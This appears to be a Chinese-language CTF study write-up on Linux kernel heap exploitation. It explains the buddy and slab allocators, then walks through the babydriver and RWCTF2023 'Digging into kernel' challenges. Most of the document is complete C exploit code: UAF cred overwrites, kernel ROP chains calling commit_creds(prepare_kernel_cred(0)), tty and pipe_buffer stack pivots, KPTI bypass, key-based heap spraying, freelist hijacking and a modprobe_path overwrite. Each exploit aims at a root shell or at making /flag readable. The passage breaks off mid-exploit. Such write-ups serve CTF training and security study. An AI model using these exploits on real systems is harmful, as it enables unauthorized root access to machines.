physmap_spray_arr[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (!physmap_spray_arr[i])
errExit("oom for physmap spray!");
memcpy(physmap_spray_arr[i], physmap_spray_arr[0], page_size);
}
puts("[*] trigger physmap one_gadget...");
//sleep(5);
try_hit = 0xffff888000000000 + 0x7000000;
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, pop_rsp_ret;"
"mov r8, try_hit;"
"mov rax, 0x10;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, try_hit;"
"mov rsi, 0x1bf52;"
"mov rdi, dev_fd;"
"syscall"
);
}

如果不是因为寄存器只剩两个可用,我感觉貌似都不需要配合physmap spray,只打pt_regs就行了。
UAF
进入堆之前,有必要了解一下linux内核的分配机制,也就是buddy伙伴分配器和slab/slub/slob分配器,分配机制相较于用户态的ptmalloc要简单一些。
Linux 内核中 buddy 伙伴分配器是底层核心的大块内存分配器,以物理页框为最小分配单位(常规系统中为 4K),设计有 11 个 order(对应 order 0~10),每个 order 代表 2 的 order 次方个连续物理页框,因此可分配的内存块大小从 4K(order 0)依次递增至 4MB(order 10)。分配过程:分配内存时优先查找匹配 order 的空闲连续页框,无匹配则拆分更高 order 的空闲块;释放内存时会检查地址连续、大小相同的 “伙伴块”,若均为空闲则合并为更大的块,以此有效解决内核物理内存的外部碎片问题,为上层内存分配器提供连续的页框资源支撑。
slab 分配器是基于 buddy 分配器实现的细粒度小内存分配器,专为内核小内存对象(如各类结构体、文件描述符、套接字等)分配设计,核心解决 buddy 分配粒度过粗导致的内部碎片问题,同时大幅提升小对象的分配与释放效率。每个从buddy分配器获得的内存块称为一个slab,所以一个slab的大小不一( 4K 的整数倍),单个 slab 块会被规整切割为多个相同大小的内存对象(object),同规格 object 的管理由kmem_cache核心结构体统一负责。kmem_cache 包含两个关键子结构:一是kmem_cache_cpu,为每个 CPU 核心独有,内置 freelist 指针指向本地可直接分配的下一个空闲 object,分配时优先从本地缓存获取、释放时优先放回本地,从根本上减少 CPU 间的锁竞争;二是kmem_cache_node,按 NUMA 节点划分(每个 NUMA 节点一个),并非通用缓存,其维护了该节点下 full(无空闲 object)、partial(部分空闲)、empty(全空闲)三类 slab 链表,负责 CPU 本地缓存的补充与归还 —— 当 CPU 本地 freelist 无空闲对象时,会从该节点的 partial 链表中批量获取 object 补充;当 CPU 本地 freelist 满时,会将多余空闲 object 批量归还给节点的 slab 链表。
CTFSHOW 358(CISCN – 2017 – babydriver)
漏洞解析
保护:开启smep但没有开启smap
初始模块如下,cdev_init(&cdev, &fops);自定义了一个函数表fops,对/dev/easydev进行read、write等操作的时候就会重定向到自定义的easyread、easywrite上:


其中所有函数都是直接对一个全局变量easydev_struct进行操作,所以
int fd1 = open(“/dev/easydev”, 2);
int fd2 = open(“/dev/easydev”, 2);
会使得两个fd句柄实际上对同一个地址进行操作,而在easyioctl和easyrelease函数中存在UAF:


漏洞利用
方法一 直接UAF修改cred结构体
先申请fd1、fd2,利用ioctl在该地址处申请一个cred结构体一样大小的chunk(即内核中的object),free掉,通过fork会再次创建一个cred结构体,就会被分配到该空闲chunk,然后对fd2进行操作write(fd2,cred,28);就可以把cred的uig gid都改0,成功提权。
#include<stdio.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include<fcntl.h>
#include <unistd.h>
int main(int argc, char **argv){
int fd1,fd2,id;
char cred[0xa8] = {0};
fd1 = open("dev/easydev",O_RDWR);
fd2 = open("dev/easydev",O_RDWR);
ioctl(fd1,0x10001,0xa8);
close(fd1);
id = fork();
if(id == 0){
write(fd2,cred,28);
if(getuid() == 0){
printf("[*]welcome root:\n");
system("/bin/sh");
return 0;
}
}
else if(id < 0){
printf("[*]fork fail\n");
}
else{
wait(NULL);
}
close(fd2);
return 0;
}
不过这种方法只适用于老版本,新版本已经无法通过该方法分配到cred object了。
方法2 kernel rop
ctfwiki打法是赋值cr4关掉smep然后ret2usr,具体可见:
https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/heap/slub/uaf/
我就直接用ROP打了,这个跟栈溢出的区别就是,栈溢出可以直接在内核栈上布置ROP。而这种通过UAF来控制指针进而程序执行流的,一般就只能把ROP链放用户态空间,然后把内核RSP劫持过来执行。(所以可以绕过SMEP,但是不好绕SMAP。因为本质上是把内核gadget放到用户态,然后用内核来跑,SMEP是不允许执行用户态代码,这个显然没有执行用户态代码,不影响;但SMAP不允许访问用户态代码,所以这样就打不通了。)
因为题目驱动里面没有能够劫持程序控制流的漏洞,所以需要把UAF升级成控制流劫持,一般做法就是利用一些特殊结构体,这种结构体中会有指针变量,通过特定系统调用可以调用该指针变量所指向的函数。所以通过UAF修改该指针变量,再触发该指针的调用即可实现控制流劫持。(把堆溢出或者UAF升级成任意地址读写原语也是这种思路,要求某些带有长度字段的结构体,通过修改长度字段,触发特定系统调用操作就能实现越界读或者写,进而实现地址泄露或其他效果。 这些常用结构体可以参考ttps://arttnba3.cn/2021/11/29/PWN-0X02-LINUX-KERNEL-PWN-PART-II)
由于tty结构体起始位置会放在RAX里面,所以通过MOV RSP,RAX 这种指令就能把RSP迁到用户态的tty结构体处,如果不够大的话还可以用 POP RAX; RET再跳一次。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
// 原始 Gadgets
#define POP_RDI_RET 0xffffffff810d238d
#define POP_RAX_RET 0xffffffff8100ce6e
#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80
#define MOV_RSP_RAX_DEC_EBX_RET 0xffffffff8181bfc5
#define SWAPGS_POP_RBP_RET 0xffffffff81063694
#define IRETQ_RET 0xffffffff814e35ef
// 新增 Gadgets
#define POP_RCX_RET 0xffffffff8100700c
#define MOV_RDI_RAX_CALL_RCX 0xffffffff8105b084
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}
int main(void)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();
// 1. 获取内核符号地址
FILE* sym_table_fd = fopen("/proc/kallsyms", "r");
if(!sym_table_fd)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%lx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;
if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] commit_creds: \033[0m%lx\n", commit_creds);
}
if(!prepare_kernel_cred && !strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] prepare_kernel_cred: \033[0m%lx\n", prepare_kernel_cred);
}
}
fclose(sym_table_fd);
// 2. 构造 ROP 链
size_t rop[0x40], p = 0;
// --- Step 1: prepare_kernel_cred(0) ---
rop[p++] = POP_RDI_RET;
rop[p++] = 0;
rop[p++] = prepare_kernel_cred;
// 执行完后 RAX 存放 struct cred*
// --- Step 2: 转移 RAX -> RDI ---
// 利用 mov rdi, rax ; call rcx
// 技巧:我们将 rcx 设置为 'pop rax; ret' Gadget 的地址。
// 这样 call 压入栈的返回地址会被 pop rax 弹出,从而修栈平衡,继续执行 ROP。
rop[p++] = POP_RCX_RET;
rop[p++] = POP_RAX_RET; // RCX = &pop_rax_ret
rop[p++] = MOV_RDI_RAX_CALL_RCX;
// 此时 RDI = RAX (cred*)
// --- Step 3: commit_creds(rdi) ---
rop[p++] = commit_creds;
// --- Step 4: Return to User Mode ---
rop[p++] = SWAPGS_POP_RBP_RET;
rop[p++] = 0; // 填充 pop rbp
rop[p++] = IRETQ_RET;
rop[p++] = (size_t)getRootShell;
rop[p++] = user_cs;
rop[p++] = user_rflags;
rop[p++] = user_sp;
rop[p++] = user_ss;
// 3. 构造 Stack Pivot 跳板 (Fake Ops)
// 逻辑保持不变:fake_op[7] (write) -> Pivot -> fake_op[0] (pop rax) -> fake_op[1] (rop addr) -> Pivot -> ROP Chain
size_t fake_op[0x30];
for(int i = 0; i < 0x10; i++)
fake_op[i] = MOV_RSP_RAX_DEC_EBX_RET;
fake_op[0] = POP_RAX_RET;
fake_op[1] = (size_t)rop; // 指向我们构造好的 ROP 链数组
// 4. 触发漏洞
int fd1 = open("/dev/easydev", 2);
int fd2 = open("/dev/easydev", 2);
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
size_t fake_tty[0x20];
int fd3 = open("/dev/ptmx", 2);
// UAF 修改 ops 指针
read(fd2, fake_tty, 0x40);
fake_tty[3] = (size_t)fake_op;
write(fd2, fake_tty, 0x40);
// 触发劫持
write(fd3, buf, 0x8);
return 0;
}
RWCTF2023 体验赛 – Digging into kernel 3
首先了解一下堆喷射(heap spray)技术,当因为某些原因,我们不能稳定地使想要的结构体拿到想要的free object时,就可以大量创建该结构体来增加分配到目标object的概率,相当于一种简单粗暴的人海战术。常见情形有:1.创建目标结构体的过程中会同时创建同等大小的不同用途结构体,导致我们想要的那个结构体不能准确地分配到UAF object。2. SLAB_FREELIST_RANDOM开启,free掉的object布局变得不可预测。3. 需要准确地分配到与某个特定结构体相邻位置。
这个题目给了一个不限制大小的UAF功能,但是最多只能同时创建两个object。保护全开。
思路如下:
1、通过UAF改写user_key_payload结构体的长度字段,触发读取操作越界读泄露内核基址,绕过KALSR。
2、通过UAF和堆风水使得user_key_payload和pipe_inode_info拿到UAF object 1;使得pipe_buffer拿到UAF object 0。pipe_inode_info会恰好修改user_key_payload的长度字段,因此触发user_key_payload的读取操作就能读到后面的*pipe_buffer,即pipe_buffer结构体的地址。然后在用户态构造rop链并通过题目的alloc写入到内核中的pipe_buffer结构体,完成覆盖。最后执行ROP链即可,利用的是pipe_buffer结构体的pipe_buffer_operations->release指针,直接跳到复制过去的ROP链所在位置即可。(这就是为什么要泄露pipe_buffer结构体的地址),exp来自:
https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/heap/slub/spray/
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>
#include <stdint.h>
/**
* Utilities
* 工具与全局变量定义
*/
// kernel_base: 内核基址,初始值为未开启 KASLR 时的基址,后续会动态计算
// kernel_offset: KASLR 偏移量
size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
// 错误处理函数:打印错误信息并退出
void err_exit(char *msg){
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
/* root checker and shell poper */
/* 提权成功后的回调函数 */
void get_root_shell(void){
// 检查当前用户 ID,如果不是 0 (root),说明提权失败
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}
// 提权成功,启动 shell
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
system("/bin/sh");
/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}
/* userspace status saver */
/* 保存用户态上下文 */
// 用于在内核执行完 ROP 后,通过 swapgs_restore_regs_and_return_to_usermode 安全返回用户态
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
/* bind the process to specific core */
/* 绑定 CPU 核心 */
// Linux SLUB 分配器是 Per-CPU 的。如果不绑定核心,
// 申请的对象可能在 CPU0,释放后被 CPU1 的缓存接管,导致 UAF 利用失败。
void bind_core(int core){
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
/**
* Syscall keyctl() operator
* Linux Key 子系统调用封装,用于堆喷射
*/
#define KEY_SPEC_PROCESS_KEYRING -2 /* - key ID for process-specific keyring */
#define KEYCTL_UPDATE 2 /* update a key */
#define KEYCTL_REVOKE 3 /* revoke a key */
#define KEYCTL_UNLINK 9 /* unlink a key from a keyring */
#define KEYCTL_READ 11 /* read a key or keyring's contents */
// 申请一个新的 Key (user_key_payload)
int key_alloc(char *description, void *payload, size_t plen){
return syscall(__NR_add_key, "user", description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}
int key_update(int keyid, void *payload, size_t plen){
return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}
// 读取 Key 的内容
int key_read(int keyid, void *buffer, size_t buflen){
return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}
// 撤销 Key (释放 user_key_payload)
int key_revoke(int keyid){
return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}
int key_unlink(int keyid){
return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}
/**
* Challenge interactiver
* 题目交互部分
*/
/* kmalloc-192 has only 21 objects on a slub, we don't need to spray to many */
// 常量定义
#define KEY_SPRAY_NUM 40 // 堆喷数量,稍微超过一个 slab page 的容量 (21个对象)
#define PIPE_INODE_INFO_SZ 192 // pipe_inode_info 结构体大小,属于 kmalloc-192
#define PIPE_BUFFER_SZ 1024 // pipe_buffer 所在页的大小
// 关键 Gadget 和内核符号偏移(需要根据 vmlinux 寻找)
#define USER_FREE_PAYLOAD_RCU 0xffffffff813d8210 // user_key_payload 释放时的 RCU 回调,用于泄露基址
#define PREPARE_KERNEL_CRED 0xffffffff81096110 // 准备凭证
#define COMMIT_CREDS 0xffffffff81095c30 // 提交凭证
// KPTI 绕过:恢复寄存器并返回用户态的蹦床地址
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81e00ed0
// ROP Gadgets
// 栈迁移关键:将 RSI (指向 pipe_buffer) 的值赋给 RSP
#define PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250c9d
#define POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250ca4
#define POP_RDI_RET 0xffffffff8106ab4d
#define XCHG_RDI_RAX_DEC_STH_RET 0xffffffff81adfc70
int dev_fd; // 题目设备句柄
// 题目定义的交互结构体
struct node {
uint32_t idx;
uint32_t size;
void *buf;
};
/**
* @brief allocate an object bby kmalloc(size, __GFP_ZERO | GFP_KERNEL )
* 封装 ioctl 分配功能
*/
void alloc(uint32_t idx, uint32_t size, void *buf){
struct node n = {
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(dev_fd, 0xDEADBEEF, &n);
}
// 封装 ioctl 释放功能 (漏洞点:UAF,释放后未清空指针)
void del(uint32_t idx){
struct node n = {
.idx = idx,
};
ioctl(dev_fd, 0xC0DECAFE, &n);
}
/**
* Exploit stage
* 主利用逻辑
*/
int main(int argc, char **argv, char **envp){
size_t *buf, pipe_buffer_addr;
int key_id[KEY_SPRAY_NUM], victim_key_idx = -1, pipe_key_id;
char desciption[0x100];
int pipe_fd[2];
int retval;
/* fundamental works */
bind_core(0); // 绑定核心,稳定堆布局
save_status(); // 保存用户态寄存器
buf = malloc(sizeof(size_t) * 0x4000); // 申请用户态缓冲区
dev_fd = open("/dev/rwctf", O_RDONLY);
if (dev_fd < 0) {
err_exit("FAILED to open the /dev/rwctf file!");
}
/* construct UAF on user_key_payload */
// === 第一阶段:构造 user_key_payload 的 UAF ===
puts("[*] construct UAF obj and spray keys...");
// 1. 申请一个 kmalloc-192 对象
alloc(0, PIPE_INODE_INFO_SZ, buf);
// 2. 释放它,制造一个空闲块 (Slot)
del(0);
// 3. 堆喷射:大量申请 key。
// user_key_payload 的头部加上 payload 刚好可以落在 kmalloc-192 中。
// 期望其中一个 key 刚好占据刚才释放的 slot。
for (int i = 0; i < KEY_SPRAY_NUM; i++) {
snprintf(desciption, 0x100, "%s%d", "arttnba", i);
// payload 长度为 192 - 0x18 (header大小)
key_id[i] = key_alloc(desciption, buf, PIPE_INODE_INFO_SZ - 0x18);
if (key_id[i] < 0) {
printf("[x] failed to alloc %d key!\n", i);
err_exit("FAILED to add_key()!");
}
}
// 4. 再次释放 idx 0。
// 由于 idx 0 指向的内存现在已经被某个 key 占用了,
// 这里其实是在不知道具体是哪个 key 的情况下,将该 key 的内存释放回 freelist (Double Free 的一种利用形式)。
// 实际上,这里是为了下一步重新 alloc 覆盖它做准备。
del(0);
/* corrupt user_key_payload's header */
// === 第二阶段:篡改 Key 头部实现越界读 ===
puts("[*] corrupting user_key_payload...");
buf[0] = 0;
buf[1] = 0;
buf[2] = 0x2000; // 修改 user_key_payload->datalen 为 0x2000 (原为 ~168)
// 5. 疯狂 alloc,试图重新获取刚才被释放的那个 Key 对象。
// 一旦获取成功,就会用 buf 的内容覆盖 Key 的头部。
// 此时,内核认为这个 Key 的长度是 0x2000。
for (int i = 0; i < (KEY_SPRAY_NUM * 2); i++) {
alloc(0, PIPE_INODE_INFO_SZ, buf);
}
/* check for oob-read and leak kernel base */
// === 第三阶段:泄露内核基址 ===
puts("[*] try to make an OOB-read...");
for (int i = 0; i < KEY_SPRAY_NUM; i++) {
// 尝试读取每一个 key。如果读取长度能超过 192 (PIPE_INODE_INFO_SZ),
// 说明这个 key 就是被我们篡改长度的那个 victim。
if (key_read(key_id[i], buf, 0x4000) > PIPE_INODE_INFO_SZ) {
printf("[+] found victim key at idx: %d\n", i);
victim_key_idx = i;
} else {
// 不是受害者就释放掉,清理环境
key_revoke(key_id[i]);
}
}
if (victim_key_idx == -1) {
err_exit("FAILED at corrupt user_key_payload!");
}
// 在读取到的越界数据中搜索特定的内核指针 (rcu func)
kernel_offset = -1;
for (int i = 0; i < 0x2000 / 8; i++) {
// 特征匹配:地址大于基址且低12位为 0x210 (USER_FREE_PAYLOAD_RCU 的特征)
if (buf[i] > kernel_base && (buf[i] & 0xfff) == 0x210) {
kernel_offset = buf[i] - USER_FREE_PAYLOAD_RCU;
kernel_base += kernel_offset;
break;
}
}
if (kernel_offset == -1) {
err_exit("FAILED to leak kernel addr!");
}
printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%lx\n", kernel_offset);
printf("\033[32m\033[1m[+] Kernel base: \033[0m0x%lx\n", kernel_base);
/* construct UAF on pipe_inode_buffer to leak pipe_buffer's addr */
// === 第四阶段:利用 pipe_inode_info 泄露堆地址 ===
puts("[*] construct UAF on pipe_inode_info...");
/* 0->1->..., the 1 will be the payload object */
alloc(0, PIPE_INODE_INFO_SZ, buf);
alloc(1, PIPE_INODE_INFO_SZ, buf);
del(1); // 制造空洞
del(0); // 制造空洞
// 申请一个新的 key ,临时结构体占了0,user_key_payload结构体拿到了1
pipe_key_id = key_alloc("arttnba3pipe", buf, PIPE_INODE_INFO_SZ - 0x18);
// 再次制造 UAF
del(1);
/* this object is for the pipe buffer */
// 这里申请的是 pipe_buffer 结构体所需的空间
alloc(0, PIPE_BUFFER_SZ, buf);
del(0); // 释放,准备让 pipe 系统调用接管
// 创建管道。内核会分配 pipe_inode_info (192字节)和pipe_buffer。
// 此时0是1024,1是192,都是UAF状态,所以pipe_inode_info会分配到1与user_key_payload重合;pipe_buffer会被分配到0。
pipe(pipe_fd);
/* note that the user_key_payload->datalen is 0xFFFF now */
// 读取pipe_inode_info 结构体后面的内容,泄露出 pipe_buffer 的地址。
retval = key_read(pipe_key_id, buf, 0xffff);
// pipe_inode_info->bufs 存放了 pipe_buffer 数组的地址 (堆地址)
pipe_buffer_addr = buf[16]; /* pipe_inode_info->bufs */
printf("\033[32m\033[1m[+] Got pipe_buffer: \033[0m0x%lx\n",
pipe_buffer_addr);
/* construct fake pipe_buf_operations */
// === 第五阶段:构造 ROP 链和虚假对象 ===
memset(buf, 'A', sizeof(buf));
// 伪造 pipe_buffer 结构体
buf[0] = *(size_t*) "arttnba3";
buf[1] = *(size_t*) "arttnba3";
// pipe_buffer->ops 指针。指向伪造的函数表 (ops)。
// 这里指向 pipe_buffer_addr + 0x18,也就是 buf[3] 的位置。
buf[2] = pipe_buffer_addr + 0x18; /* pipe_buffer->ops */
/* after release(), we got back here */
// === 构造伪造的 ops 表 ===
// 这里的 buf[3] 对应 ops->release 函数指针。
// 当 pipe 关闭时,内核调用 release。
// 劫持到 POP_RBX... 这里的布局是为了配合栈迁移后的 ROP 链接。
buf[3] = kernel_offset + POP_RBX_POP_RBP_POP_R12_RET;
/* pipe_buf_operations->release */
// 实际上这里才是关键。release 指针被覆盖为栈迁移 Gadget。
// PUSH RSI (RSI 指向 pipe_buffer 自身) ; POP RSP ...
// 将栈迁移到堆上的 pipe_buffer 处。
buf[4] = kernel_offset + PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET;
// === ROP Chain 开始 ===
buf[5] = *(size_t*) "arttnba3";
buf[6] = *(size_t*) "arttnba3";
// 1. prepare_kernel_cred(0)
buf[7] = kernel_offset + POP_RDI_RET;
buf[8] = (size_t) NULL; // 参数 0
buf[9] = kernel_offset + PREPARE_KERNEL_CRED;
// 2. 将返回值 (RAX) 移动到 RDI,准备给 commit_creds
buf[10] = kernel_offset + XCHG_RDI_RAX_DEC_STH_RET;
// 3. commit_creds(current_cred)
buf[11] = kernel_offset + COMMIT_CREDS;
// 4. KPTI Bypass & Return to User
// 恢复段寄存器、GS 寄存器,并从栈上弹回用户态地址
buf[12] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x31;
buf[13] = *(size_t*) "arttnba3";
buf[14] = *(size_t*) "arttnba3";
// 用户态返回地址和环境
buf[15] = (size_t) get_root_shell; // RIP
buf[16] = user_cs;
buf[17] = user_rflags;
buf[18] = user_sp + 8; /* system() wants it : ( 修正栈对齐 */
buf[19] = user_ss;
// 将伪造好的数据通过 ioctl 写入内核堆
del(0); // 再次 UAF
alloc(0, PIPE_BUFFER_SZ, buf); // 写入 payload
/* trigger pipe_buf_operations->release */
// === 第六阶段:触发 ===
puts("[*] trigerring pipe_buf_operations->release()...");
// 关闭管道,触发 release -> 栈迁移 -> ROP
close(pipe_fd[1]);
close(pipe_fd[0]);
return 0;
}
RWCTF2023 体验赛 – Digging into kernel 1&2
题目相当于CISCN-2017 的 babydrive,保护全开,这题可以用Digging into kernel 3的做法来做,ctfwiki中给了新的方法。上一题是通过修改结构体大小实现越界读,然后读取后面结构体的指针来算出kernel基址;这一题是通过UAF泄露object的freelist指针,freelist指针即为一个object的地址,该地址后三位变0就有概率是堆基址,这种泄露方法有点像用户态的tcachebin指针泄露堆基址,而在内核堆基址+ 0x9d000处存放着 secondary_startup_64 函数的地址,所以修改freelist指针,分配一个到这的object就可以泄露内核基址了。
泄露基址后就是控制程序执行流来提权,上一题是打ROP,这里给出了另外一种利用方法,通过修改modprobe_path 以 root 执行程序来提权。
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
/*
* [ 核心常量定义 ]
* MODPROBE_PATH: 内核符号 modprobe_path 的地址。
* 这个地址通常通过查看 System.map 或 vmlinux 获取,
* 计算公式通常是: 基址 + 偏移。在此题目中假定已通过调试获得固定偏移。
*/
#define MODPROBE_PATH 0xffffffff82444700
/*
* [ 提权辅助脚本 ]
* 当我们覆盖 modprobe_path 后,内核会以 root 权限执行这个脚本。
* 这里我们将 /flag 设置为 777 (所有用户可读),从而在普通用户态读取 flag。
*/
#define ROOT_SCRIPT_PATH "/home/getshell"
char root_cmd[] = "#!/bin/sh\nchmod 777 /flag";
/*
* [ 数据交互结构体 ]
* 对应驱动 ioctl 中 copy_from_user / copy_to_user 的格式
*/
struct Data{
size_t *ptr; // 用户态缓冲区指针,用于存放读写的数据
unsigned int offset; // 读写偏移 (题目驱动中未使用)
unsigned int length; // 读写长度
};
/*
* [ 核心绑定函数 ]
* 目的:将当前进程绑定到 CPU 0。
* 原因:Linux Kernel 的 SLUB 分配器是 Per-CPU 的(每个 CPU 有自己的 freelist)。
* 如果我们在利用过程中进程被调度到另一个 CPU,我们对 freelist 的修改(UAF)将失效,
* 或者分配到错误的 slab 上,导致利用失败或内核崩溃。
*/
void bindCore(int core){
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
// 错误处理封装
void errExit(char *msg){
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}
/*
* [ ioctl 包装函数 ]
* 对应驱动中的 switch case 功能
*/
// 申请内存: 对应驱动 ioctl case 17895697 (分配 kmem_cache_alloc)
void allocBuf(int dev_fd, struct Data *data){
ioctl(dev_fd, 0x1111111, data);
}
// 编辑内存: 对应驱动 ioctl case 107374182 (copy_from_user)
void editBuf(int dev_fd, struct Data *data){
ioctl(dev_fd, 0x6666666, data);
}
// 读取内存: 对应驱动 ioctl case 125269879 (copy_to_user)
void readBuf(int dev_fd, struct Data *data){
ioctl(dev_fd, 0x7777777, data);
}
int main(int argc, char **argv, char **envp){
int dev_fd[5], root_script_fd, flag_fd;
size_t kernel_heap_leak, kernel_text_leak;
size_t kernel_base, kernel_offset, page_offset_base;
char flag[0x100];
struct Data data;
/* * Step 0: 基础环境准备
*/
bindCore(0); // 绑定 CPU
// 打开设备多次,获取多个文件描述符 (fd)。
// 漏洞点:驱动的 buf 是全局变量。close() 会 kfree(buf) 但不置 NULL。
// 我们打开 fd[0]...fd[4],它们共享同一个 buf 指针。
// 当 close(fd[0]) 时,buf 被释放,但 fd[1] 依然可以通过 ioctl 操作这个野指针。
for (int i = 0; i < 5; i++) {
dev_fd[i] = open("/dev/xkmod", O_RDONLY);
}
// 在本地创建用于提权的脚本文件
root_script_fd = open(ROOT_SCRIPT_PATH, O_RDWR | O_CREAT);
write(root_script_fd, root_cmd, sizeof(root_cmd));
close(root_script_fd);
system("chmod +x " ROOT_SCRIPT_PATH);
/* * Step 1: 构造 UAF 并泄露堆地址
*/
data.ptr = malloc(0x1000);
data.offset = 0;
data.length = 0x50; // 读取足够长的数据
memset(data.ptr, 0, 0x1000);
// 1. 分配一个对象
allocBuf(dev_fd[0], &data);
// 2. 写入一些数据 (可选,主要为了确认状态)
editBuf(dev_fd[0], &data);
// 3. 释放对象 (触发 UAF)。buf 进入 freelist。
close(dev_fd[0]);
/* * 泄露内核堆地址:
* SLUB 分配器中,释放的 object 的前 8 字节存放下一个空闲 object 的地址 (next 指针)。
* 通过 fd[1] 读取这个已释放的块,即可获得堆上的指针。
*/
readBuf(dev_fd[1], &data);
kernel_heap_leak = data.ptr[0];
// 猜测 physmap 基址 (page_offset_base)
// 内核堆地址通常位于直接映射区域 (Direct Mapping Area)。
// 通过掩码屏蔽低位,猜测其基址。
page_offset_base = kernel_heap_leak & 0xfffffffff0000000;
printf("[+] kernel heap leak: 0x%lx\n", kernel_heap_leak);
printf("[!] GUESSING page_offset_base: 0x%lx\n", page_offset_base);
/* * Step 2: 劫持 Freelist 泄露内核基址
* 目标:读取 secondary_startup_64 (位于 page_offset_base + 0x9d000)
*/
puts("[*] leaking kernel base...");
// 构造 Fake Chunk 的 next 指针。
// 我们指向 target_addr - 0x10。
// 原因:当我们稍后申请到这个 fake chunk 时,内核会把它当做一个 object。
// 它的前 8 字节会被视作 freelist 的下一个节点。
// 如果直接指向 target_addr,而 target_addr 处的数据不是合法的指针,内核可能会 crash。
// 选取 page_offset_base + 0x9d000 前面的一块空区域 (0x10 处通常为 0),
// 这样 next 指针就是 NULL,代表 freelist 到头了,内核会申请新页,避免 crash。
data.ptr[0] = page_offset_base + 0x9d000 - 0x10;
data.offset = 0;
data.length = 8; // 只修改前 8 字节 (next 指针)
// [关键] UAF 写:修改 fd[1] (指向已释放块) 的内容,劫持 freelist
editBuf(dev_fd[1], &data);
// 第一次分配:拿走原本合法的那个 free chunk
// 此时 freelist 的 head 更新为我们伪造的地址 (page_offset_base + 0x9d000 - 0x10)
allocBuf(dev_fd[1], &data);
// 第二次分配:拿走我们伪造的 fake chunk!
// 此时驱动的全局变量 buf 指向 (page_offset_base + 0x9d000 - 0x10)
allocBuf(dev_fd[1], &data);
// 读取数据:泄露内核代码段地址
data.length = 0x40;
readBuf(dev_fd[1], &data);
// 检查泄露是否成功 (检查低 12 bit 是否符合页对齐特征)
if ((data.ptr[2] & 0xfff) != 0x30) {
printf("[!] invalid data leak: 0x%lx\n", data.ptr[2]);
errExit("\033[31m\033[1m[x] FAILED TO HIT page_offset_base! TRY AGAIN!");
}
// 计算内核基址
